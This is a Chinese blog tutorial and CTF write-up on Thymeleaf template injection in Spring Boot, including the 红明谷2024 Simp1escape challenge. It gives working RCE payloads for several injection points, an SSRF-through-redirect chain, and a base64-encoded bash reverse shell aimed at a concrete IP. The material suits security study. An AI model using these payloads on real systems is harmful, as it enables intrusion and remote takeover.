Thymeleaf ssti


被红明谷打爆了,所以来学习thymeleaf ssti

Thymeleaf是什么

Thymeleafspringboot的一个引擎

要类比的话可以拿python中的jinja2来类比

jinja2flask的一个引擎,它们都用于渲染前端页面

在写javaweb和ssm的时候前端可能会用jsp来写,springboot内是jar包内嵌tomcat,所以它不支持解析jsp文件。又由于单纯的静态html很不方便,所以就产生了thymeleaf这样的一个模板引擎

这样就只需要一个template就可以动态渲染前端了

基础知识

表达式

Thymeleaf中有很多种表达式:

  • 变量表达式:${...}
  • 选择变量表达式:*{...}
  • 消息表达式:#{...}
  • 链接url表达式:@{...}
  • 片段表达式:~{...}
  • 内联表达式:[[]]或者[()]

通过这些表达式可以进行变量的引用、替换等

例如${name}可以取到name的值

*{...}选定对象而不是整个上下文表达式,也就是说只要没有选定对象,${}等效于*{}

片段表达式~{}可以用于引用公共的目标片段,比如在footer.html中定义了下面的一个copy片段:<div th:fragment="copy">

1
2
3
4
5
6
7
8
9
10
11
12
13
<!DOCTYPE html>

<html xmlns:th="http://www.thymeleaf.org">

<body>

<div th:fragment="copy">
&copy; 2011 The Good Thymes Virtual Grocery
</div>

</body>

</html>

那么就可以通过~{}在另一模板中引用:

1
2
3
4
<body>
...
<div th:insert="~{footer::copy}"></div>
</body>

简单介绍一下片段表达式的语法:

  1. ~{templatename::selector},会在/WEB-INF/templates/目录下寻找名为templatename的模板中定义的fragment
  2. ~{templatename},这样会将整个templatename模板当作fragment
  3. ~{::selector}或者~{this.selector},引用来自同一模板名为selectorfragment

selector可以是通过th:fragment定义的片段,也可以是类选择器等

标签

thymeleaf还提供了一些内置的标签:

标签 作用 示例
th:id 替换id <input th:id="${user.id}"/>
th:text 文本替换 <p text:="${user.name}">bigsai</p>
th:utext 支持html的文本替换 <p utext:="${htmlcontent}">content</p>
th:object 替换对象 <div th:object="${user}"></div>
th:value 替换值 <input th:value="${user.name}" >
th:each 迭代 <tr th:each="student:${user}" >
th:href 替换超链接 <a th:href="@{index.html}">超链接</a>
th:src 替换资源 <script type="text/javascript" th:src="@{index.js}"></script>

预处理语句

通过下面的语法可以对语句进行预处理:

__${experssion}__

官方文档:

除了所有这些用于表达式处理的功能外,Thymeleaf 还具有预处理表达式的功能。

预处理是在正常表达式之前完成的表达式的执行,允许修改最终将执行的表达式。

预处理的表达式与普通表达式完全一样,但被双下划线符号(如__${expression}__)包围。

预处理可以解析执行表达式,这就是ssti出现的最关键的一个的地方

通过可控的预处理输入的位置传入我们的恶意payload解析便可以达到任意代码执行

而我们要利用的就是这个表达式~{...}(虽然和它无关)

其中的templatenameselector都可以进行thymeleaf ssti

调试

调试我就不调了,可以看一下这位师傅写的

Java安全之Thymeleaf SSTI分析 - Zh1z3ven - 博客园 (cnblogs.com)

主要是调不动(

漏洞复现

在thymeleaf中,回显的本质其实是通过抛出某个异常来实现的,在低版本的springboot(<=2.2)中,server.error.include-message的默认值为always

因此这使得500页面会回显异常信息

但是在高版本下,上面的选项默认值改为了never,这使得500页面不会回显任何异常信息

所以回显的payload还是有点局限性

常规payload(无回显):

1
__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("whoami").getInputStream()).next()%7d__::

常规payload(有回显):

1
__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("whoami").getInputStream()).next()%7d__::xx

显而易见,只需要在::后加上任意内容即可回显

templatename

源码类似于:

1
2
3
4
@GetMapping("/path")
public String path(@RequestParam String lang) {
return "user/" + lang + "/welcome"; //template path is tainted
}

它根据用户传入的lang参数,然后返回对应的user/lang/welcome模板(也有可能前面指定了一个固定路径)

在lang处打payload即可:

1
/path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::.x

上面这个payload是有回显的

不过对于这个源码:

1
2
3
4
@GetMapping("/path")
public String path(@RequestParam String lang) {
return "user/" + lang + "/welcome"; //template path is tainted
}

由于后面拼接上了/welcome

所以实际上return的值是这样的:

1
user/$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::.x/welcome

上面说过只要::后任意内容都可回显,所以此处加不加.x都会有回显

selector

源码如下:

1
2
3
4
@GetMapping("/fragment")
public String fragment(@RequestParam String lang) {
return "welcome :: " + lang; //fragment is tainted
}

可以看见它的可控点是一个selector的位置

同样的payload,但是它是无回显的,不管加不加.x

1
/fragment?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::.x

为什么呢?

我们是通过抛出异常来回显的,但是实际上抛出的异常叫TemplateInputException,它是因为找不到templatename导致的异常抛出

所以templatename可控的地方是可以回显的

selector可控的地方是无回显的:

URI Path

看源码:

1
2
3
4
5
@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document) {
log.info("Retrieving " + document);
//returns void, so view name is taken from URI
}

同样的payload,打到document的位置:

1
/doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::.x

原理是mav的返回值为空,所以viewTemplateName会直接从uri中获取

特殊的trick

::

::的位置是可以挪到最前面的:

1
::__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__

post

post方法也是可以的:

1
2
3
4
5
6
POST /path HTTP/1.1
Host: localhost:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 135

lang=::__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__

省略双下划线

如果单独引用template时,可以不使用双下划线包裹:

1
2
3
4
5
@RequestMapping("/path2")
public String path2(@RequestParam String lang) {
return lang; //template path is tainted
}

像上面这样就可以省略双下划线:

1
/path2?lang=$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d

或者像这样的payload也是可以的:

1
*%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d

(再加多一对大括号也可以,具体可以看到这里:https://xz.aliyun.com/t/9826#toc-4)

改造成利用反射获取

1
__${new java.util.Scanner(T(String).getClass().forName("java.lang.Runtime").getMethod("exec",T(String[])).invoke(T(String).getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(T(String).getClass().forName("java.lang.Runtime")),new String[]{"/bin/bash","-c","id"}).getInputStream()).next()}__::x

或者:

1
__${new java.util.Scanner(Class.forName("java.lang.Runtime").getMethod("exec",T(String[])).invoke(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")),new String[]{"/bin/bash","-c","id"}).getInputStream()).next()}__::x

内联表达式

在boogipop师傅的博客里:

[RealWorld CTF 6th 正赛/体验赛 部分 Web Writeup - Boogiepop Doesn’t Laugh (boogipop.com)](https://boogipop.com/2024/01/29/RealWorld CTF 6th 正赛_体验赛 部分 Web Writeup/)

源码简化后如下:

1
2
3
4
5
6
7
8
9
10
@GetMapping({"/notify"})
public String anotify(@RequestParam String fname, HttpServletRequest request, HttpServletResponse response) throws Exception {
...//waf here
return new SpringTemplateEngine().process(fname, new Context());
/*
或者
String result = this.getTemplateEngine().process(fname, new Context());
return result;
*/
}

这种源码会根据使用的模板引擎进行渲染,这里当然时利用thymeleaf进行渲染

利用内联表达式进行rce:

1
[[${T(java.lang.Boolean).forName("com.fasterxml.jackson.databind.ObjectMapper").newInstance().readValue("{}",T(org.springframework.expression.spel.standard.SpelExpressionParser)).parseExpression("T(Runtime).getRuntime().exec('whoami')").getValue()}]]

记得url编码

1
%5B%5B%24%7BT(java.lang.Boolean).forName(%22com.fasterxml.jackson.databind.ObjectMapper%22).newInstance().readValue(%22%7B%7D%22%2CT(org.springframework.expression.spel.standard.SpelExpressionParser)).parseExpression(%22T(Runtime).getRuntime().exec('calc')%22).getValue()%7D%5D%5D

例题

红明谷2024 Simp1escape

差点做出来了,就是不知道有thymeleafssti

controller

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package com.example.controller;

import org.springframework.beans.factory.xml.BeanDefinitionParserDelegate;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.thymeleaf.context.Context;
import org.thymeleaf.spring5.SpringTemplateEngine;

@Controller
/* loaded from: Simp1escape-0.0.1-SNAPSHOT.jar:BOOT-INF/classes/com/example/controller/IndexController.class */

//public static final String INDEX_ATTRIBUTE = "index"; 这一段是我自己加上去的

public class IndexController {
@GetMapping({"/"})
public String index() {
return new SpringTemplateEngine().process(BeanDefinitionParserDelegate.INDEX_ATTRIBUTE, new Context());
}
}

其实这里应该要看得出来它返回的是一个模板的。。。

index其实就是一个hello world,返回了一个模板渲染的hello world

Curl Controller:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
package com.example.controller;

import com.example.utils.Utils;
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileWriter;
import java.io.InputStreamReader;
import java.net.HttpURLConnection;
import java.net.InetAddress;
import java.net.URL;
import java.util.concurrent.TimeUnit;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.boot.autoconfigure.thymeleaf.ThymeleafProperties;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

@RestController
/* loaded from: Simp1escape-0.0.1-SNAPSHOT.jar:BOOT-INF/classes/com/example/controller/CurlController.class */
public class CurlController {
private static final String RESOURCES_DIRECTORY = "resources";
private static final String SAVE_DIRECTORY = "sites";

@RequestMapping({"/curl"})
public String curl(@RequestParam String url, HttpServletRequest request, HttpServletResponse response) throws Exception {
if (url.startsWith("http:") || url.startsWith("https:")) {
URL urlObject = new URL(url);
String result = "";
String hostname = urlObject.getHost();
if (hostname.indexOf("../") != -1) {
return "Illegal hostname";
}
if (Utils.isPrivateIp(InetAddress.getByName(hostname))) {
return "Illegal ip address";
}
try {
String savePath = System.getProperty("user.dir") + File.separator + RESOURCES_DIRECTORY + File.separator + SAVE_DIRECTORY;
File saveDir = new File(savePath);
if (!saveDir.exists()) {
saveDir.mkdirs();
}
TimeUnit.SECONDS.sleep(4);
HttpURLConnection connection = (HttpURLConnection) urlObject.openConnection();
if (connection instanceof HttpURLConnection) {
connection.connect();
if (connection.getResponseCode() == 200) {
BufferedReader reader = new BufferedReader(new InputStreamReader(connection.getInputStream()));
BufferedWriter writer = new BufferedWriter(new FileWriter(savePath + File.separator + hostname + ThymeleafProperties.DEFAULT_SUFFIX));
while (true) {
String line = reader.readLine();
if (line == null) {
break;
}
result = result + line + "\n";
}
writer.write(result);
reader.close();
writer.close();
}
}
return result;
} catch (Exception e) {
return e.toString();
}
} else {
System.out.println(url.startsWith("http"));
return "No protocol: " + url;
}
}
}

简单的看看,其实就是根据用户传入的url参数来进行ssrf(curl),然后将结果写到指定的地方:savePath + File.separator + hostname + ThymeleafProperties.DEFAULT_SUFFIX并返回

这里有点waf,首先是url要以http:或者https:开头,然后进行了一个isPrivateIp的判断:

1
2
3
4
5
6
7
8
9
10
11
public class Utils {
public static boolean isPrivateIp(InetAddress ip) {
int x;
String ipAddress = ip.getHostAddress();
System.out.println(ipAddress);
if (ip.isSiteLocalAddress() || ip.isLoopbackAddress() || ip.isAnyLocalAddress()) {
return true;
}
return ipAddress.startsWith("100") && (x = Integer.parseInt(ipAddress.split("\\.")[1])) >= 64 && x <= 127;
}
}

他会进行一个本地ip的判断

所以我们不能够直接通过本地ip打ssrf

admincontroller

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package com.example.controller;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.http.HttpStatus;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.thymeleaf.context.Context;
import org.thymeleaf.spring5.SpringTemplateEngine;

@Controller
/* loaded from: Simp1escape-0.0.1-SNAPSHOT.jar:BOOT-INF/classes/com/example/controller/AdminController.class */
public class AdminController {
@GetMapping({"/getsites"})
public String admin(@RequestParam String hostname, HttpServletRequest request, HttpServletResponse response) throws Exception {
if (!request.getRemoteAddr().equals("127.0.0.1")) {
response.setStatus(HttpStatus.FORBIDDEN.value());
return "forbidden";
}
return new SpringTemplateEngine().process(hostname, new Context());
}
}

可以看到熟悉的返回模板渲染:

return new SpringTemplateEngine().process(hostname, new Context());

而且hostname参数可控

唯一需求就是需要通过本地ip访问,刚好curl可以打本地请求

这里可以利用xctf x tpctfshort_url的思路,利用302跳转

我们的payload是利用内联表达式来执行:

1
[[${T(java.lang.Boolean).forName("com.fasterxml.jackson.databind.ObjectMapper").newInstance().readValue("{}",T(org.springframework.expression.spel.standard.SpelExpressionParser)).parseExpression("T(Runtime).getRuntime().exec('whoami')").getValue()}]]

稍加改进一下反弹shell:

1
[[${T(java.lang.Boolean).forName("com.fasterxml.jackson.databind.ObjectMapper").newInstance().readValue("{}",T(org.springframework.expression.spel.standard.SpelExpressionParser)).parseExpression("T(Runtime).getRuntime().exec('bash -c {echo, YmFzaCAtaSA+Ji9kZXYvdGNwLzEwNi41Mi45NC4yMy8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}')").getValue()}]]

这样就能把shell弹回来了